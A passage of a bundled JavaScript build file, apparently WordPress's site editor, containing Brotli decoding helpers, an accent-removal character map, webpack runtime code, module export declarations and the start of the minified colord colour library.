5888 var prefix = kTransforms[transform].prefix;
5889 var suffix = kTransforms[transform].suffix;
5890 var t = kTransforms[transform].transform;
5891 var skip = t < kOmitFirst1 ? 0 : t - (kOmitFirst1 - 1);
5892 var i = 0;
5893 var start_idx = idx;
5894 var uppercase;
5895
5896 if (skip > len) {
5897 skip = len;
5898 }
5899
5900 var prefix_pos = 0;
5901 while (prefix_pos < prefix.length) {
5902 dst[idx++] = prefix[prefix_pos++];
5903 }
5904
5905 word += skip;
5906 len -= skip;
5907
5908 if (t <= kOmitLast9) {
5909 len -= t;
5910 }
5911
5912 for (i = 0; i < len; i++) {
5913 dst[idx++] = BrotliDictionary.dictionary[word + i];
5914 }
5915
5916 uppercase = idx - len;
5917
5918 if (t === kUppercaseFirst) {
5919 ToUpperCase(dst, uppercase);
5920 } else if (t === kUppercaseAll) {
5921 while (len > 0) {
5922 var step = ToUpperCase(dst, uppercase);
5923 uppercase += step;
5924 len -= step;
5925 }
5926 }
5927
5928 var suffix_pos = 0;
5929 while (suffix_pos < suffix.length) {
5930 dst[idx++] = suffix[suffix_pos++];
5931 }
5932
5933 return idx - start_idx;
5934}
5935
5936},{"./dictionary":6}],12:[function(require,module,exports){
5937module.exports = require('./dec/decode').BrotliDecompressBuffer;
5938
5939},{"./dec/decode":3}]},{},[12])(12)
5940});
5941/* eslint-enable */
5942
5943
5944/***/ }),
5945
5946/***/ 9681:
5947/***/ ((module) => {
5948
5949var characterMap = {
5950 "À": "A",
5951 "Á": "A",
5952 "Â": "A",
5953 "Ã": "A",
5954 "Ä": "A",
5955 "Å": "A",
5956 "Ấ": "A",
5957 "Ắ": "A",
5958 "Ẳ": "A",
5959 "Ẵ": "A",
5960 "Ặ": "A",
5961 "Æ": "AE",
5962 "Ầ": "A",
5963 "Ằ": "A",
5964 "Ȃ": "A",
5965 "Ả": "A",
5966 "Ạ": "A",
5967 "Ẩ": "A",
5968 "Ẫ": "A",
5969 "Ậ": "A",
5970 "Ç": "C",
5971 "Ḉ": "C",
5972 "È": "E",
5973 "É": "E",
5974 "Ê": "E",
5975 "Ë": "E",
5976 "Ế": "E",
5977 "Ḗ": "E",
5978 "Ề": "E",
5979 "Ḕ": "E",
5980 "Ḝ": "E",
5981 "Ȇ": "E",
5982 "Ẻ": "E",
5983 "Ẽ": "E",
5984 "Ẹ": "E",
5985 "Ể": "E",
5986 "Ễ": "E",
5987 "Ệ": "E",
5988 "Ì": "I",
5989 "Í": "I",
5990 "Î": "I",
5991 "Ï": "I",
5992 "Ḯ": "I",
5993 "Ȋ": "I",
5994 "Ỉ": "I",
5995 "Ị": "I",
5996 "Ð": "D",
5997 "Ñ": "N",
5998 "Ò": "O",
5999 "Ó": "O",
6000 "Ô": "O",
6001 "Õ": "O",
6002 "Ö": "O",
6003 "Ø": "O",
6004 "Ố": "O",
6005 "Ṍ": "O",
6006 "Ṓ": "O",
6007 "Ȏ": "O",
6008 "Ỏ": "O",
6009 "Ọ": "O",
6010 "Ổ": "O",
6011 "Ỗ": "O",
6012 "Ộ": "O",
6013 "Ờ": "O",
6014 "Ở": "O",
6015 "Ỡ": "O",
6016 "Ớ": "O",
6017 "Ợ": "O",
6018 "Ù": "U",
6019 "Ú": "U",
6020 "Û": "U",
6021 "Ü": "U",
6022 "Ủ": "U",
6023 "Ụ": "U",
6024 "Ử": "U",
6025 "Ữ": "U",
6026 "Ự": "U",
6027 "Ý": "Y",
6028 "à": "a",
6029 "á": "a",
6030 "â": "a",
6031 "ã": "a",
6032 "ä": "a",
6033 "å": "a",
6034 "ấ": "a",
6035 "ắ": "a",
6036 "ẳ": "a",
6037 "ẵ": "a",
6038 "ặ": "a",
6039 "æ": "ae",
6040 "ầ": "a",
6041 "ằ": "a",
6042 "ȃ": "a",
6043 "ả": "a",
6044 "ạ": "a",
6045 "ẩ": "a",
6046 "ẫ": "a",
6047 "ậ": "a",
6048 "ç": "c",
6049 "ḉ": "c",
6050 "è": "e",
6051 "é": "e",
6052 "ê": "e",
6053 "ë": "e",
6054 "ế": "e",
6055 "ḗ": "e",
6056 "ề": "e",
6057 "ḕ": "e",
6058 "ḝ": "e",
6059 "ȇ": "e",
6060 "ẻ": "e",
6061 "ẽ": "e",
6062 "ẹ": "e",
6063 "ể": "e",
6064 "ễ": "e",
6065 "ệ": "e",
6066 "ì": "i",
6067 "í": "i",
6068 "î": "i",
6069 "ï": "i",
6070 "ḯ": "i",
6071 "ȋ": "i",
6072 "ỉ": "i",
6073 "ị": "i",
6074 "ð": "d",
6075 "ñ": "n",
6076 "ò": "o",
6077 "ó": "o",
6078 "ô": "o",
6079 "õ": "o",
6080 "ö": "o",
6081 "ø": "o",
6082 "ố": "o",
6083 "ṍ": "o",
6084 "ṓ": "o",
6085 "ȏ": "o",
6086 "ỏ": "o",
6087 "ọ": "o",
6088 "ổ": "o",
6089 "ỗ": "o",
6090 "ộ": "o",
6091 "ờ": "o",
6092 "ở": "o",
6093 "ỡ": "o",
6094 "ớ": "o",
6095 "ợ": "o",
6096 "ù": "u",
6097 "ú": "u",
6098 "û": "u",
6099 "ü": "u",
6100 "ủ": "u",
6101 "ụ": "u",
6102 "ử": "u",
6103 "ữ": "u",
6104 "ự": "u",
6105 "ý": "y",
6106 "ÿ": "y",
6107 "Ā": "A",
6108 "ā": "a",
6109 "Ă": "A",
6110 "ă": "a",
6111 "Ą": "A",
6112 "ą": "a",
6113 "Ć": "C",
6114 "ć": "c",
6115 "Ĉ": "C",
6116 "ĉ": "c",
6117 "Ċ": "C",
6118 "ċ": "c",
6119 "Č": "C",
6120 "č": "c",
6121 "C̆": "C",
6122 "c̆": "c",
6123 "Ď": "D",
6124 "ď": "d",
6125 "Đ": "D",
6126 "đ": "d",
6127 "Ē": "E",
6128 "ē": "e",
6129 "Ĕ": "E",
6130 "ĕ": "e",
6131 "Ė": "E",
6132 "ė": "e",
6133 "Ę": "E",
6134 "ę": "e",
6135 "Ě": "E",
6136 "ě": "e",
6137 "Ĝ": "G",
6138 "Ǵ": "G",
6139 "ĝ": "g",
6140 "ǵ": "g",
6141 "Ğ": "G",
6142 "ğ": "g",
6143 "Ġ": "G",
6144 "ġ": "g",
6145 "Ģ": "G",
6146 "ģ": "g",
6147 "Ĥ": "H",
6148 "ĥ": "h",
6149 "Ħ": "H",
6150 "ħ": "h",
6151 "Ḫ": "H",
6152 "ḫ": "h",
6153 "Ĩ": "I",
6154 "ĩ": "i",
6155 "Ī": "I",
6156 "ī": "i",
6157 "Ĭ": "I",
6158 "ĭ": "i",
6159 "Į": "I",
6160 "į": "i",
6161 "İ": "I",
6162 "ı": "i",
6163 "IJ": "IJ",
6164 "ij": "ij",
6165 "Ĵ": "J",
6166 "ĵ": "j",
6167 "Ķ": "K",
6168 "ķ": "k",
6169 "Ḱ": "K",
6170 "ḱ": "k",
6171 "K̆": "K",
6172 "k̆": "k",
6173 "Ĺ": "L",
6174 "ĺ": "l",
6175 "Ļ": "L",
6176 "ļ": "l",
6177 "Ľ": "L",
6178 "ľ": "l",
6179 "Ŀ": "L",
6180 "ŀ": "l",
6181 "Ł": "l",
6182 "ł": "l",
6183 "Ḿ": "M",
6184 "ḿ": "m",
6185 "M̆": "M",
6186 "m̆": "m",
6187 "Ń": "N",
6188 "ń": "n",
6189 "Ņ": "N",
6190 "ņ": "n",
6191 "Ň": "N",
6192 "ň": "n",
6193 "ʼn": "n",
6194 "N̆": "N",
6195 "n̆": "n",
6196 "Ō": "O",
6197 "ō": "o",
6198 "Ŏ": "O",
6199 "ŏ": "o",
6200 "Ő": "O",
6201 "ő": "o",
6202 "Œ": "OE",
6203 "œ": "oe",
6204 "P̆": "P",
6205 "p̆": "p",
6206 "Ŕ": "R",
6207 "ŕ": "r",
6208 "Ŗ": "R",
6209 "ŗ": "r",
6210 "Ř": "R",
6211 "ř": "r",
6212 "R̆": "R",
6213 "r̆": "r",
6214 "Ȓ": "R",
6215 "ȓ": "r",
6216 "Ś": "S",
6217 "ś": "s",
6218 "Ŝ": "S",
6219 "ŝ": "s",
6220 "Ş": "S",
6221 "Ș": "S",
6222 "ș": "s",
6223 "ş": "s",
6224 "Š": "S",
6225 "š": "s",
6226 "Ţ": "T",
6227 "ţ": "t",
6228 "ț": "t",
6229 "Ț": "T",
6230 "Ť": "T",
6231 "ť": "t",
6232 "Ŧ": "T",
6233 "ŧ": "t",
6234 "T̆": "T",
6235 "t̆": "t",
6236 "Ũ": "U",
6237 "ũ": "u",
6238 "Ū": "U",
6239 "ū": "u",
6240 "Ŭ": "U",
6241 "ŭ": "u",
6242 "Ů": "U",
6243 "ů": "u",
6244 "Ű": "U",
6245 "ű": "u",
6246 "Ų": "U",
6247 "ų": "u",
6248 "Ȗ": "U",
6249 "ȗ": "u",
6250 "V̆": "V",
6251 "v̆": "v",
6252 "Ŵ": "W",
6253 "ŵ": "w",
6254 "Ẃ": "W",
6255 "ẃ": "w",
6256 "X̆": "X",
6257 "x̆": "x",
6258 "Ŷ": "Y",
6259 "ŷ": "y",
6260 "Ÿ": "Y",
6261 "Y̆": "Y",
6262 "y̆": "y",
6263 "Ź": "Z",
6264 "ź": "z",
6265 "Ż": "Z",
6266 "ż": "z",
6267 "Ž": "Z",
6268 "ž": "z",
6269 "ſ": "s",
6270 "ƒ": "f",
6271 "Ơ": "O",
6272 "ơ": "o",
6273 "Ư": "U",
6274 "ư": "u",
6275 "Ǎ": "A",
6276 "ǎ": "a",
6277 "Ǐ": "I",
6278 "ǐ": "i",
6279 "Ǒ": "O",
6280 "ǒ": "o",
6281 "Ǔ": "U",
6282 "ǔ": "u",
6283 "Ǖ": "U",
6284 "ǖ": "u",
6285 "Ǘ": "U",
6286 "ǘ": "u",
6287 "Ǚ": "U",
6288 "ǚ": "u",
6289 "Ǜ": "U",
6290 "ǜ": "u",
6291 "Ứ": "U",
6292 "ứ": "u",
6293 "Ṹ": "U",
6294 "ṹ": "u",
6295 "Ǻ": "A",
6296 "ǻ": "a",
6297 "Ǽ": "AE",
6298 "ǽ": "ae",
6299 "Ǿ": "O",
6300 "ǿ": "o",
6301 "Þ": "TH",
6302 "þ": "th",
6303 "Ṕ": "P",
6304 "ṕ": "p",
6305 "Ṥ": "S",
6306 "ṥ": "s",
6307 "X́": "X",
6308 "x́": "x",
6309 "Ѓ": "Г",
6310 "ѓ": "г",
6311 "Ќ": "К",
6312 "ќ": "к",
6313 "A̋": "A",
6314 "a̋": "a",
6315 "E̋": "E",
6316 "e̋": "e",
6317 "I̋": "I",
6318 "i̋": "i",
6319 "Ǹ": "N",
6320 "ǹ": "n",
6321 "Ồ": "O",
6322 "ồ": "o",
6323 "Ṑ": "O",
6324 "ṑ": "o",
6325 "Ừ": "U",
6326 "ừ": "u",
6327 "Ẁ": "W",
6328 "ẁ": "w",
6329 "Ỳ": "Y",
6330 "ỳ": "y",
6331 "Ȁ": "A",
6332 "ȁ": "a",
6333 "Ȅ": "E",
6334 "ȅ": "e",
6335 "Ȉ": "I",
6336 "ȉ": "i",
6337 "Ȍ": "O",
6338 "ȍ": "o",
6339 "Ȑ": "R",
6340 "ȑ": "r",
6341 "Ȕ": "U",
6342 "ȕ": "u",
6343 "B̌": "B",
6344 "b̌": "b",
6345 "Č̣": "C",
6346 "č̣": "c",
6347 "Ê̌": "E",
6348 "ê̌": "e",
6349 "F̌": "F",
6350 "f̌": "f",
6351 "Ǧ": "G",
6352 "ǧ": "g",
6353 "Ȟ": "H",
6354 "ȟ": "h",
6355 "J̌": "J",
6356 "ǰ": "j",
6357 "Ǩ": "K",
6358 "ǩ": "k",
6359 "M̌": "M",
6360 "m̌": "m",
6361 "P̌": "P",
6362 "p̌": "p",
6363 "Q̌": "Q",
6364 "q̌": "q",
6365 "Ř̩": "R",
6366 "ř̩": "r",
6367 "Ṧ": "S",
6368 "ṧ": "s",
6369 "V̌": "V",
6370 "v̌": "v",
6371 "W̌": "W",
6372 "w̌": "w",
6373 "X̌": "X",
6374 "x̌": "x",
6375 "Y̌": "Y",
6376 "y̌": "y",
6377 "A̧": "A",
6378 "a̧": "a",
6379 "B̧": "B",
6380 "b̧": "b",
6381 "Ḑ": "D",
6382 "ḑ": "d",
6383 "Ȩ": "E",
6384 "ȩ": "e",
6385 "Ɛ̧": "E",
6386 "ɛ̧": "e",
6387 "Ḩ": "H",
6388 "ḩ": "h",
6389 "I̧": "I",
6390 "i̧": "i",
6391 "Ɨ̧": "I",
6392 "ɨ̧": "i",
6393 "M̧": "M",
6394 "m̧": "m",
6395 "O̧": "O",
6396 "o̧": "o",
6397 "Q̧": "Q",
6398 "q̧": "q",
6399 "U̧": "U",
6400 "u̧": "u",
6401 "X̧": "X",
6402 "x̧": "x",
6403 "Z̧": "Z",
6404 "z̧": "z",
6405 "й":"и",
6406 "Й":"И",
6407 "ё":"е",
6408 "Ё":"Е",
6409};
6410
6411var chars = Object.keys(characterMap).join('|');
6412var allAccents = new RegExp(chars, 'g');
6413var firstAccent = new RegExp(chars, '');
6414
6415function matcher(match) {
6416 return characterMap[match];
6417}
6418
6419var removeAccents = function(string) {
6420 return string.replace(allAccents, matcher);
6421};
6422
6423var hasAccents = function(string) {
6424 return !!string.match(firstAccent);
6425};
6426
6427module.exports = removeAccents;
6428module.exports.has = hasAccents;
6429module.exports.remove = removeAccents;
6430
6431
6432/***/ })
6433
6434/******/ });
6435/************************************************************************/
6436/******/ // The module cache
6437/******/ var __webpack_module_cache__ = {};
6438/******/
6439/******/ // The require function
6440/******/ function __webpack_require__(moduleId) {
6441/******/ // Check if module is in cache
6442/******/ var cachedModule = __webpack_module_cache__[moduleId];
6443/******/ if (cachedModule !== undefined) {
6444/******/ return cachedModule.exports;
6445/******/ }
6446/******/ // Create a new module (and put it into the cache)
6447/******/ var module = __webpack_module_cache__[moduleId] = {
6448/******/ // no module.id needed
6449/******/ // no module.loaded needed
6450/******/ exports: {}
6451/******/ };
6452/******/
6453/******/ // Execute the module function
6454/******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__);
6455/******/
6456/******/ // Return the exports of the module
6457/******/ return module.exports;
6458/******/ }
6459/******/
6460/************************************************************************/
6461/******/ /* webpack/runtime/compat get default export */
6462/******/ (() => {
6463/******/ // getDefaultExport function for compatibility with non-harmony modules
6464/******/ __webpack_require__.n = (module) => {
6465/******/ var getter = module && module.__esModule ?
6466/******/ () => (module['default']) :
6467/******/ () => (module);
6468/******/ __webpack_require__.d(getter, { a: getter });
6469/******/ return getter;
6470/******/ };
6471/******/ })();
6472/******/
6473/******/ /* webpack/runtime/create fake namespace object */
6474/******/ (() => {
6475/******/ var getProto = Object.getPrototypeOf ? (obj) => (Object.getPrototypeOf(obj)) : (obj) => (obj.__proto__);
6476/******/ var leafPrototypes;
6477/******/ // create a fake namespace object
6478/******/ // mode & 1: value is a module id, require it
6479/******/ // mode & 2: merge all properties of value into the ns
6480/******/ // mode & 4: return value when already ns object
6481/******/ // mode & 16: return value when it's Promise-like
6482/******/ // mode & 8|1: behave like require
6483/******/ __webpack_require__.t = function(value, mode) {
6484/******/ if(mode & 1) value = this(value);
6485/******/ if(mode & 8) return value;
6486/******/ if(typeof value === 'object' && value) {
6487/******/ if((mode & 4) && value.__esModule) return value;
6488/******/ if((mode & 16) && typeof value.then === 'function') return value;
6489/******/ }
6490/******/ var ns = Object.create(null);
6491/******/ __webpack_require__.r(ns);
6492/******/ var def = {};
6493/******/ leafPrototypes = leafPrototypes || [null, getProto({}), getProto([]), getProto(getProto)];
6494/******/ for(var current = mode & 2 && value; typeof current == 'object' && !~leafPrototypes.indexOf(current); current = getProto(current)) {
6495/******/ Object.getOwnPropertyNames(current).forEach((key) => (def[key] = () => (value[key])));
6496/******/ }
6497/******/ def['default'] = () => (value);
6498/******/ __webpack_require__.d(ns, def);
6499/******/ return ns;
6500/******/ };
6501/******/ })();
6502/******/
6503/******/ /* webpack/runtime/define property getters */
6504/******/ (() => {
6505/******/ // define getter functions for harmony exports
6506/******/ __webpack_require__.d = (exports, definition) => {
6507/******/ for(var key in definition) {
6508/******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
6509/******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
6510/******/ }
6511/******/ }
6512/******/ };
6513/******/ })();
6514/******/
6515/******/ /* webpack/runtime/hasOwnProperty shorthand */
6516/******/ (() => {
6517/******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
6518/******/ })();
6519/******/
6520/******/ /* webpack/runtime/make namespace object */
6521/******/ (() => {
6522/******/ // define __esModule on exports
6523/******/ __webpack_require__.r = (exports) => {
6524/******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
6525/******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
6526/******/ }
6527/******/ Object.defineProperty(exports, '__esModule', { value: true });
6528/******/ };
6529/******/ })();
6530/******/
6531/************************************************************************/
6532var __webpack_exports__ = {};
6533// This entry needs to be wrapped in an IIFE because it needs to be in strict mode.
6534(() => {
6535"use strict";
6536// ESM COMPAT FLAG
6537__webpack_require__.r(__webpack_exports__);
6538
6539// EXPORTS
6540__webpack_require__.d(__webpack_exports__, {
6541 PluginMoreMenuItem: () => (/* reexport */ PluginMoreMenuItem),
6542 PluginSidebar: () => (/* reexport */ PluginSidebar),
6543 PluginSidebarMoreMenuItem: () => (/* reexport */ PluginSidebarMoreMenuItem),
6544 PluginTemplateSettingPanel: () => (/* reexport */ plugin_template_setting_panel_default),
6545 initializeEditor: () => (/* binding */ initializeEditor),
6546 initializePostsDashboard: () => (/* reexport */ initializePostsDashboard),
6547 reinitializeEditor: () => (/* binding */ reinitializeEditor),
6548 store: () => (/* reexport */ store)
6549});
6550
6551// NAMESPACE OBJECT: ./node_modules/@wordpress/edit-site/build-module/store/actions.js
6552var actions_namespaceObject = {};
6553__webpack_require__.r(actions_namespaceObject);
6554__webpack_require__.d(actions_namespaceObject, {
6555 __experimentalSetPreviewDeviceType: () => (__experimentalSetPreviewDeviceType),
6556 addTemplate: () => (addTemplate),
6557 closeGeneralSidebar: () => (closeGeneralSidebar),
6558 openGeneralSidebar: () => (openGeneralSidebar),
6559 openNavigationPanelToMenu: () => (openNavigationPanelToMenu),
6560 removeTemplate: () => (removeTemplate),
6561 revertTemplate: () => (revertTemplate),
6562 setEditedEntity: () => (setEditedEntity),
6563 setEditedPostContext: () => (setEditedPostContext),
6564 setHasPageContentFocus: () => (setHasPageContentFocus),
6565 setHomeTemplateId: () => (setHomeTemplateId),
6566 setIsInserterOpened: () => (setIsInserterOpened),
6567 setIsListViewOpened: () => (setIsListViewOpened),
6568 setIsNavigationPanelOpened: () => (setIsNavigationPanelOpened),
6569 setIsSaveViewOpened: () => (setIsSaveViewOpened),
6570 setNavigationMenu: () => (setNavigationMenu),
6571 setNavigationPanelActiveMenu: () => (setNavigationPanelActiveMenu),
6572 setPage: () => (setPage),
6573 setTemplate: () => (setTemplate),
6574 setTemplatePart: () => (setTemplatePart),
6575 switchEditorMode: () => (switchEditorMode),
6576 toggleDistractionFree: () => (toggleDistractionFree),
6577 toggleFeature: () => (toggleFeature),
6578 updateSettings: () => (updateSettings)
6579});
6580
6581// NAMESPACE OBJECT: ./node_modules/@wordpress/edit-site/build-module/store/private-actions.js
6582var private_actions_namespaceObject = {};
6583__webpack_require__.r(private_actions_namespaceObject);
6584__webpack_require__.d(private_actions_namespaceObject, {
6585 registerRoute: () => (registerRoute),
6586 setEditorCanvasContainerView: () => (setEditorCanvasContainerView),
6587 unregisterRoute: () => (unregisterRoute)
6588});
6589
6590// NAMESPACE OBJECT: ./node_modules/@wordpress/edit-site/build-module/store/selectors.js
6591var selectors_namespaceObject = {};
6592__webpack_require__.r(selectors_namespaceObject);
6593__webpack_require__.d(selectors_namespaceObject, {
6594 __experimentalGetInsertionPoint: () => (__experimentalGetInsertionPoint),
6595 __experimentalGetPreviewDeviceType: () => (__experimentalGetPreviewDeviceType),
6596 getCanUserCreateMedia: () => (getCanUserCreateMedia),
6597 getCurrentTemplateNavigationPanelSubMenu: () => (getCurrentTemplateNavigationPanelSubMenu),
6598 getCurrentTemplateTemplateParts: () => (getCurrentTemplateTemplateParts),
6599 getEditedPostContext: () => (getEditedPostContext),
6600 getEditedPostId: () => (getEditedPostId),
6601 getEditedPostType: () => (getEditedPostType),
6602 getEditorMode: () => (getEditorMode),
6603 getHomeTemplateId: () => (getHomeTemplateId),
6604 getNavigationPanelActiveMenu: () => (getNavigationPanelActiveMenu),
6605 getPage: () => (getPage),
6606 getReusableBlocks: () => (getReusableBlocks),
6607 getSettings: () => (getSettings),
6608 hasPageContentFocus: () => (hasPageContentFocus),
6609 isFeatureActive: () => (isFeatureActive),
6610 isInserterOpened: () => (isInserterOpened),
6611 isListViewOpened: () => (isListViewOpened),
6612 isNavigationOpened: () => (isNavigationOpened),
6613 isPage: () => (isPage),
6614 isSaveViewOpened: () => (isSaveViewOpened)
6615});
6616
6617// NAMESPACE OBJECT: ./node_modules/@wordpress/edit-site/build-module/store/private-selectors.js
6618var private_selectors_namespaceObject = {};
6619__webpack_require__.r(private_selectors_namespaceObject);
6620__webpack_require__.d(private_selectors_namespaceObject, {
6621 getEditorCanvasContainerView: () => (getEditorCanvasContainerView),
6622 getRoutes: () => (getRoutes)
6623});
6624
6625;// external "ReactJSXRuntime"
6626const external_ReactJSXRuntime_namespaceObject = window["ReactJSXRuntime"];
6627;// external ["wp","blocks"]
6628const external_wp_blocks_namespaceObject = window["wp"]["blocks"];
6629;// external ["wp","blockLibrary"]
6630const external_wp_blockLibrary_namespaceObject = window["wp"]["blockLibrary"];
6631// EXTERNAL MODULE: external ["wp","data"]
6632var external_wp_data_ = __webpack_require__(7143);
6633;// external ["wp","deprecated"]
6634const external_wp_deprecated_namespaceObject = window["wp"]["deprecated"];
6635var external_wp_deprecated_default = /*#__PURE__*/__webpack_require__.n(external_wp_deprecated_namespaceObject);
6636// EXTERNAL MODULE: external ["wp","element"]
6637var external_wp_element_ = __webpack_require__(6087);
6638;// external ["wp","editor"]
6639const external_wp_editor_namespaceObject = window["wp"]["editor"];
6640// EXTERNAL MODULE: external ["wp","preferences"]
6641var external_wp_preferences_ = __webpack_require__(1233);
6642;// external ["wp","widgets"]
6643const external_wp_widgets_namespaceObject = window["wp"]["widgets"];
6644;// external ["wp","hooks"]
6645const external_wp_hooks_namespaceObject = window["wp"]["hooks"];
6646;// external ["wp","compose"]
6647const external_wp_compose_namespaceObject = window["wp"]["compose"];
6648;// external ["wp","blockEditor"]
6649const external_wp_blockEditor_namespaceObject = window["wp"]["blockEditor"];
6650;// external ["wp","components"]
6651const external_wp_components_namespaceObject = window["wp"]["components"];
6652;// external ["wp","i18n"]
6653const external_wp_i18n_namespaceObject = window["wp"]["i18n"];
6654;// external ["wp","notices"]
6655const external_wp_notices_namespaceObject = window["wp"]["notices"];
6656;// external ["wp","coreData"]
6657const external_wp_coreData_namespaceObject = window["wp"]["coreData"];
6658;// ./node_modules/colord/index.mjs
6659var r={grad:.9,turn:360,rad:360/(2*Math.PI)},t=function(r){return"string"==typeof r?r.length>0:"number"==typeof r},n=function(r,t,n){return void 0===t&&(t=0),void 0===n&&(n=Math.pow(10,t)),Math.round(n*r)/n+0},e=function(r,t,n){return void 0===t&&(t=0),void 0===n&&(n=1),r>n?n:r>t?r:t},u=function(r){return(r=isFinite(r)?r%360:0)>0?r:r+360},a=function(r){return{r:e(r.r,0,255),g:e(r.g,0,255),b:e(r.b,0,255),a:e(r.a)}},o=function(r){return{r:n(r.r),g:n(r.g),b:n(r.b),a:n(r.a,3)}},i=/^#([0-9a-f]{3,8})$/i,s=function(r){var t=r.toString(16);return t.length<2?"0"+t:t},h=function(r){var t=r.r,n=r.g,e=r.b,u=r.a,a=Math.max(t,n,e),o=a-Math.min(t,n,e),i=o?a===t?(n-e)/o:a===n?2+(e-t)/o:4+(t-n)/o:0;return{h:60*(i<0?i+6:i),s:a?o/a*100:0,v:a/255*100,a:u}},b=function(r){var t=r.h,n=r.s,e=r.v,u=r.a;t=t/360*6,n/=100,e/=100;var a=Math.floor(t),o=e*(1-n),i=e*(1-(t-a)*n),s=e*(1-(1-t+a)*n),h=a%6;return{r:255*[e,i,o,o,s,e][h],g:255*[s,e,e,i,o,o][h],b:255*[o,o,s,e,e,i][h],a:u}},g=function(r){return{h:u(r.h),s:e(r.s,0,100),l:e(r.l,0,100),a:e(r.a)}},d=function(r){return{h:n(r.h),s:n(r.s),l:n(r.l),a:n(r.a,3)}},f=function(r){return b((n=(t=r).s,{h:t.h,s:(n*=((e=t.l)<50?e:100-e)/100)>0?2*n/(e+n)*100:0,v:e+n,a:t.a}));var t,n,e},c=function(r){return{h:(t=h(r)).h,s:(u=(200-(n=t.s))*(e=t.v)/100)>0&&u<200?n*e/100/(u<=100?u:200-u)*100:0,l:u/2,a:t.a};var t,n,e,u},l=/^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s*,\s*([+-]?\d*\.?\d+)%\s*,\s*([+-]?\d*\.?\d+)%\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,colord_p=/^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s+([+-]?\d*\.?\d+)%\s+([+-]?\d*\.?\d+)%\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,v=/^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,m=/^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,y={string:[[function(r){var t=i.exec(r);return t?(r=t[1]).length<=4?{r:parseInt(r[0]+r[0],16),g:parseInt(r[1]+r[1],16),b:parseInt(r[2]+r[2],16),a:4===r.length?n(parseInt(r[3]+r[3],16)/255,2):1}:6===r.length||8===r.length?{r:parseInt(r.substr(0,2),16),g:parseInt(r.substr(2,2),16),b:parseInt(r.substr(4,2),16),a:8===r.length?n(parseInt(r.substr(6,2),16)/255,2):1}:null:null},"hex"],[function(r){var t=v.exec(r)||m.exec(r);return t?t[2]!==t[4]||t[4]!==t[6]?null:a({r:Number(t[1])/(t[2]?100/255:1),g:Number(t[3])/(t[4]?100/255:1),b:Number(t[5])/(t[6]?100/255:1),a:void 0===t[7]?1:Number(t[7])/(t[8]?100:1)}):null},"rgb"],[function(t){var n=l.exec(t)||colord_p.exec(t);if(!n)return null;var e,u,a=g({h:(e=n[1],u=n[2],void 0===u&&(u="deg"),Number(e)*(r[u]||1)),s:Number(n[3]),l:Number(n[4]),a:void 0===n[5]?1:Number(n[5])/(n[6]?100:1)});return f(a)},"hsl"]],object:[[function(r){var n=r.r,e=r.g,u=r.b,o=r.a,i=void 0===o?1:o;return t(n)&&t(e)&&t(u)?a({r:Number(n),g:Number(e),b:Number(u),a:Number(i)}):null},"rgb"],[function(r){var n=r.h,e=r.s,u=r.l,a=r.a,o=void 0===a?1:a;if(!t(n)||!t(e)||!t(u))return null;var i=g({h:Number(n),s:Number(e),l:Number(u),a:Number(o)});return f(i)},"hsl"],[function(r){var n=r.h,a=r.s,o=r.v,i=r.a,s=void 0===i?1:i;if(!t(n)||!t(a)||!t(o))return null;var h=function(r){return{h:u(r.h),s:e(r.s,0,100),v:e(r.v,0,100),a:e(r.a)}}({h:Number(n),s:Number(a),v:Number(o),a:Number(s)});return b(h)},"hsv"]]},N=function(r,t){for(var n=0;n<t.length;n++){var e=t[n][0](r);if(e)return[e,t[n][1]]}return[null,void 0]},x=function(r){return"string"==typeof r?N(r.trim(),y.string):"object"==typeof r&&null!==r?N(r,y.object):[null,void 0]},I=function(r){return x(r)[1]},M=function(r,t){var n=c(r);return{h:n.h,s:e(n.s+100*t,0,100),l:n.l,a:n.a}},H=function(r){return(299*r.r+587*r.g+114*r.b)/1e3/255},$=function(r,t){var n=c(r);return{h:n.h,s:n.s,l:e(n.l+100*t,0,100),a:n.a}},colord_j=function(){function r(r){this.parsed=x(r)[0],this.rgba=this.parsed||{r:0,g:0,b:0,a:1}}return r.prototype.isValid=function(){return null!==this.parsed},r.prototype.brightness=function(){return n(H(this.rgba),2)},r.prototype.isDark=function(){return H(this.rgba)<.5},r.prototype.isLight=function(){return H(this.rgba)>=.5},r.prototype.toHex=function(){return r=o(this.rgba),t=r.r,e=r.g,u=r.b,i=(a=r.a)<1?s(n(255*a)):"","#"+s(t)+s(e)+s(u)+i;var r,t,e,u,a,i},r.prototype.toRgb=function(){return o(this.rgba)},r.prototype.toRgbString=function(){return r=o(this.rgba),t=r.r,n=r.g,e=r.b,(u=r.a)<1?"rgba("+t+", "+n+", "+e+", "+u+")":"rgb("+t+", "+n+", "+e+")";var r,t,n,e,u},r.prototype.toHsl=function(){return d(c(this.rgba))},r.prototype.toHslString=function(){return r=d(c(this.rgba)),t=r.h,n=r.s,e=r.l,(u=r.a)<1?"hsla("+t+", "+n+"%, "+e+"%, "+u+")":"hsl("+t+", "+n+"%, "+e+"%)";var r,t,n,e,u},r.prototype.toHsv=function(){return r=h(this.rgba),{h:n(r.h),s:n(r.s),v:n(r.v),a:n(r.a,3)};var r},r.prototype.invert=function(){return w({r:255-(r=this.rgba).r,g:255-r.g,b:255-r.b,a:r.a});var r},r.prototype.saturate=function(r){return void 0===r&&(r=.1),w(M(this.rgba,r))},r.prototype.desaturate=function(r){return void 0===r&&(r=.1),w(M(this.rgba,-r))},r.prototype.grayscale=function(){return 